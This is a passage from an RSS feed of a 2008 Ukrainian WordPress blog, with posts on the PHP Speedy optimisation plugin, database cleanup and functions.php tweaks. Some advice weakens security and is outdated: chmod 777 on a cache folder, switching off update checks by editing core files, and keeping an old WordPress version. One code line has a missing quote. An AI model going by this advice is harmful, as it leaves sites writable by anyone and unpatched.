 Коли я то все почав вручну робити, то вже на перших пунктах затикався, бо не знав як додавати ETag / Last-Modified для файлів, зменшувати кількість css та javascript&#8217;ів теж непросто, бо не знаєш, чи надовго в тебе той чи інший плагін, який їх використовує. Короче, я забив на то всьо і зрозумів, що ще не доріс до такої оптимізації.</p>
<p>І тут, буквально позавчора натикаюсь на один скрипт, що оптимізує сайти якраз по цим параметрам. А як я втішився, коли побачив, що для wordpress&#8217;у вони випустили плагін, що робить всю ручну оптимізацію автоматичною, по натисканню однієї кнопки. Ляпота!</p>
<p><span id="more-638"></span></p>
<p>Загалом суть цього плагіну така: він об’єднує всі css-файли в один, всі js скрипти теж в один файл, потім його стискає gzip&#8217;ом, додає ETag / Last-Modified для усіх файлів, мініфікує сторінки (minify), додає кешуючі заголовки до всіх файлів, а в наступних версіях навіть обіцяють автоматом збирати CSS-спрайти (CSS Sprites).</p>
<p>І все що треба, так це скачати плагін <a href="http://aciddrop.com/php-speedy/">PHP Speedy</a>, активувати, та перейти на сторінку його налаштувань, де за допомогою підказок ви дізнаєтесь, що треба зробити. На правильних хостингах (яким я вважаю TOPUA.net) нічого не треба змінювати, а ось на більшості прийдеться змінити права доступу на файл конфігу плагіну, та дати права 777 на папку cache цього плагіну, в якій і будуть зберігатись наші оптимізовані css та js файли.</p>
<p>Я коли провірив, то очам своїм не міг повірити. Ось характеристика моєї головної сторінки блогу до оптимізації (дані взяті з плагіну <a href="https://addons.mozilla.org/uk/firefox/addon/5369">Yslow</a>):<br />
 <img decoding="async" src="http://clip2net.com/clip/m7265/1236763374-clip-15kb.png" alt="до оптимізації wordpress'у" /></p>
<p>А ось після того, як я натиснув кнопочку &#8216;Activate&#8217; в плагіні PHP Speedy:</p>
<p><img decoding="async" src="http://clip2net.com/clip/m7265/1236763931-clip-14kb.png" alt="після оптимізації WordPress'y завдяки PHP Speedy" /></p>
<p>Вражає, правда? (тут А це найвища оцінка а F це найгірша, така американська система оцінок)</p>
<p>І маленька ложечка дьогтю: все кльово, але плагін ще не є релізом і тому трапляютсья деякі недоліки, ось наприклад він не може аналізувати css що включені через @import, але обіцяють і це виправити в наступних версіях.</p>
<p>Пробуйте і ви. Провірити можна на око, а можна отримати і точні дані завдяки аддонам <a href="https://addons.mozilla.org/uk/firefox/addon/1843">Firebug</a> (вкладка NET) та <a href="https://addons.mozilla.org/uk/firefox/addon/5369">Yslow</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>WordPress : проста і ефективна оптимізація бази данних</title>
		<link>https://lilumi.org.ua/wordpress/wordpress-database-optimization</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Tue, 11 Nov 2008 14:33:32 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[post revisions]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блогерам]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=606</guid>

					<description><![CDATA[Ви здивуєтесь коли я вам скажу, що в базі даних вордпресу знаходиться 80% зайвої, нікому не потрібної інфи. А так і є. В моєму випадку з бази я викинув 67% сміття, у вас я думаю показники будуть більші. Отож по порядку: Clean Options &#8211; чистим опції Знищуємо таблиці від непотрібних плагінів Міняємо кодування бази даних...]]></description>
										<content:encoded><![CDATA[<p>Ви здивуєтесь коли я вам скажу, що в базі даних вордпресу знаходиться <strong>80%</strong> зайвої, нікому не потрібної інфи. А так і є. <br />
 <img decoding="async" style="margin: 10px 5px; vertical-align: middle;" title="Оптимізація Вордпресу" src="http://img-fotki.yandex.ru/get/3300/lilumio.2/0_18056_88c8df2_orig" alt="Оптимизация движка вордпресса и работа с базами данніх by Lilumi" width="634" height="65" /></p>
<p>В моєму випадку з бази я викинув 67% сміття, у вас я думаю показники будуть більші. Отож по порядку:</p>
<ol>
<li><a href="#cleanoptions">Clean Options</a> &#8211; чистим опції</li>
<li><a href="#removetables">Знищуємо таблиці від непотрібних плагінів</a></li>
<li><a href="#databaseencoding">Міняємо кодування бази даних Вордпресу</a></li>
<li><a href="#postrevisions">Вилучаємо ревізії постів</a></li>
<li><a href="#cleardashboard">Викидаєм зайве з Dashboard </a></li>
</ol>
<p>А почалося все з цього:<span id="more-606"></span></p>
<p><a href="http://img-fotki.yandex.ru/get/3000/lilumio.2/0_18057_a00ea042_orig"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3000/lilumio.2/0_18057_a00ea042_L.jpg" alt="wordpress optimization" width="500" height="456" /></a><br />
 Зверніть увагу на таблицю wp_options &#8211; 1.3Mb &#8211; це ж нечуванно!</p>
<p><a name="cleanoptions"></a><strong>Clean Options &#8211; чистим опції</strong><br />
 Саме прикріше те, що &#8220;сміттєва&#8221; інформація знаходиться в таблиці wp_options (мабудь розраховували на те, що звичайний юзер побоїться в неї залізти). Отож скачуємо плагін <a href="http://wordpress.org/extend/plugins/clean-options/">Clean Options</a> і запускаємо його кнопкою Find Orphaned Options. Ви побачите довжелезний список опцій що були добавленні плагінами, що стоять у вас, або колись стояли. От видалити ті опції плагінів що уже не стоять задача нелегка, адже там явно не вказано від якого плагіну той чи інший запис, тому прийдеться діяти наосліп озброївшись пошуком по гуглю. (можливо все таки <strong>варто зробити бекап бази</strong> перед цими діями, я відповідальності за ваші дії не несу). А нижче ви побачите список новин з rss-каналів що появляються в Панелі керування. <br />
 <img loading="lazy" decoding="async" style="margin: 5px;" src="http://img-fotki.yandex.ru/get/3004/lilumio.2/0_18058_92da0487_orig" alt="" width="423" height="297" /><br />
 Ну признайтесь, хтось з вас їх читав? Я ні, а саме ці новини і займають по пару мегабайт в ваших базах даних вордпресу. От від них ми і безболісно позбавимось. Виділяєте їх і тиснете на &#8220;View Selected Options Information&#8221; де ви побачите зміст цих полів. Перед вами простягнеться довжелезне простирадло з довжелезним скроллом зі змістом того &#8220;сміття&#8221;. Одразу ж після завершення завантаження сторінки жміть End на клавіатурі, вибирайте галочку &#8220;Yes, Remove ALL of these options from the wp_options table.&#8221; і Submit. Здавалося би все — діло зроблене, але насправді ці дані все ще лишились в базі і для того щоб їх остаточно знищити слід зробити оптимізацію таблиць. Для цього заходимо в PhpMyAdmin і вибираємо таблицю wp_options а внизу вибираєм пунктик &#8220;Optimize Table&#8221; <br />
 <a href="http://fotki.yandex.ru/users/lilumio/view/98394/"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3205/lilumio.2/0_1805a_995e68ec_L.jpg" alt="wordpress optimization" width="500" height="310" /></a></p>
<p><a name="removetables"></a><strong>Знищуємо таблиці від непотрібних плагінів</strong></p>
<p>Як швидко дізнатись, що таблиця не &#8220;рідна-вордпресовська&#8221; а від плагіну?<br />
 По замовчуванню вордпрес створює 10 таблиць:<br />
 wp_comments<br />
 wp_links<br />
 wp_options<br />
 wp_postmeta<br />
 wp_posts<br />
 wp_terms<br />
 wp_term_relationships<br />
 wp_term_taxonomy<br />
 wp_usermeta<br />
 wp_users<br />
 Думаю у вас кількість таблиць значно більша і вияснити яка з них іще використовується, а яка вже ні, справа дещо складніша. Я лише так &#8220;на око&#8221; по назвам прикидував, здебільшого в назвах міститься натяк на те до якого плагіна вона відноситься. Ті таблиці що мені були невідомі я просто назву їх закидував в гугль і дивився результат. Таким чином з бази я викинув 21-у таблицю із 35!</p>
<p><a name="databaseencoding"></a><strong>Виправлення помилки в кодуваннях таблиць бази даних WordPress<br />
 </strong></p>
<p>В мене виявилось що по налаштуваннях MySql на хостингу всі нові таблиці створювались в кодуванні <strong>latin1_swedish_ci</strong> що є зовсім неправильним, але легко виправляється. Для цього в PhpMyAdmin в закладці Operations(Операции) знаходимо рядок: Collantions (Сравнение) і міняємо його на <strong>utf8_general_ci</strong>. Go! ok. <br />
 А от як бути з тими що вже в неправильному кодуванні? В інтернеті є описаний спосіб як його поміняти, але мені було простіше видалити всі таблиці в неправильному кодуванні і заново активувати плагіни що їх створювали (але в цьому я був впевнений, а вам так діяти не рекомендую, краще залишіть як є).</p>
<p><a name="postrevisions"></a><strong>Видаляємо ревізії постів</strong><br />
 В новій версії вордпресу ввели таке поняття як <a href="http://codex.wordpress.org/Revision_Management">ревізії</a>. Оскільки більшості ця функція нафіг не впала, то її можна вимкнути тим самим ще зменшити розмір бази даних і не давати їй так швидко розростатись. Для цього в файлі <strong>wp-config.php</strong> вимикаємо ревізії:</p>
<pre><code class="php">define(<span class="string">'WP_POST_REVISIONS'</span>, false);</code></pre>
<p>а потім все в тому ж PhpMyAdmin (Ви ж іще не закрили вкладку із ним, чи не так ;)) робимо запит:</p>
<pre><code class="sql"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> wp_posts <span class="keyword">WHERE</span> post_type = <span class="string">'revision'</span>; </code></pre>
<p>Опісля виділяємо таблицю wp_posts і робимо її оптимізацію (надіюсь ще пам&#8217;ятаєте, пару абзаців вище я писав як ще робиться)</p>
<p><a name="cleardashboard"></a><strong>Викидуєм зайве з Dashboard (панель керування</strong>)<br />
 Ну і нарешті заліземо в один файлик — wp-admin/index.php з якого викинемо зайві рядки, аби нові rss-новини більше не засмічували базу.</p>
<pre><code class="php">&lt;div id=<span class="string">"dashboard-widgets-wrap"</span>&gt;

<span style="text-decoration: line-through;"><span class="preprocessor">&lt;?php</span> wp_dashboard(); <span class="preprocessor">?&gt;</span></span>

&lt;/div&gt;</code></pre>
<p>От той рядок що закресленний якраз і треба викинути. Незручність лише в тому, що при кожному оновленні версії WordPress прийдеться знову чистити базу від RSS-каналів новин та знову видаляти цей рядочок у файлі.<br />
 В результаті цих дій я отримав таку картину:<br />
 <a href="http://fotki.yandex.ru/users/lilumio/view/98396/"><img loading="lazy" decoding="async" style="border: 0pt none; margin: 5px;" title="wordpress optimization" src="http://img-fotki.yandex.ru/get/3206/lilumio.2/0_1805c_bfafc33c_L.jpg" alt="wordpress optimization" width="500" height="195" /></a><a href="http://fotki.yandex.ru/users/lilumio/view/98396/"></a><br />
 і я нею задоволений, з 3-ох мегабайт зменшити базу до 1 метра!<br />
 <strong>p.s.</strong> До речі, плагін Clean Options після всіх цих дій, можна вимкнути, а коли обновитесь до нової версії WordPress то знову ввімкнете і повторите ці дії.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>wordpress: корисні функції в functions.php</title>
		<link>https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 09 Nov 2008 19:29:43 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[wordpress plugins]]></category>
		<category><![CDATA[блоги]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=602</guid>

					<description><![CDATA[Почав виковирювати з вордпресу лишнє і оптимізовувати по всім флангам, потрохи буду викладувати матеріали з цього приводу. Пора повикидати з початкового коду вордпресу лишні теги. В ідеалі хочу зробити так, аби ніхто не зміг здогадатись що я використовую вордпрес в якості cms. Особисто мене дуже дратує напис: &#60;meta name="generator" content="WordPress 2.5.1" /&#62;&#60;!-- leave this for...]]></description>
										<content:encoded><![CDATA[<p>Почав виковирювати з вордпресу лишнє і оптимізовувати по всім флангам, потрохи буду викладувати матеріали з цього приводу.</p>
<p>Пора повикидати з початкового коду вордпресу лишні теги. В ідеалі хочу зробити так, аби ніхто не зміг здогадатись що я використовую вордпрес в якості cms. Особисто мене дуже дратує напис:</p>
<pre><code class="html">&lt;meta name="generator" content=<span class="value">"WordPress 2.5.1" /&gt;&lt;!-- leave this for stats --&gt;</code></pre>
<p>Для цього в <strong>functions.php</strong> вашої теми слід добавити два рядочки:</p>
<pre><code class="php">&lt;?php
  remove_action('wp_head', 'wp_generator');
  remove_action('wp_head', 'wlwmanifest_link');
?&gt;</code></pre>
<p>а якщо вам надоїли попередження про оновлення версії вордпресу, то можна і їх вимкнути (до речі я теж схиляюся до думки що версія 2.3.3 є самою оптимальною)</p>
<p>Для цього в файлі <strong>wp-includes/update.php</strong> коментуєм значком # “лишній рядок” :</p>
<pre><code class="php">#add_action( init', 'wp_version_check');</code></pre>
<p>Це до речі певним чином і прискорить роботу в адмінці.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
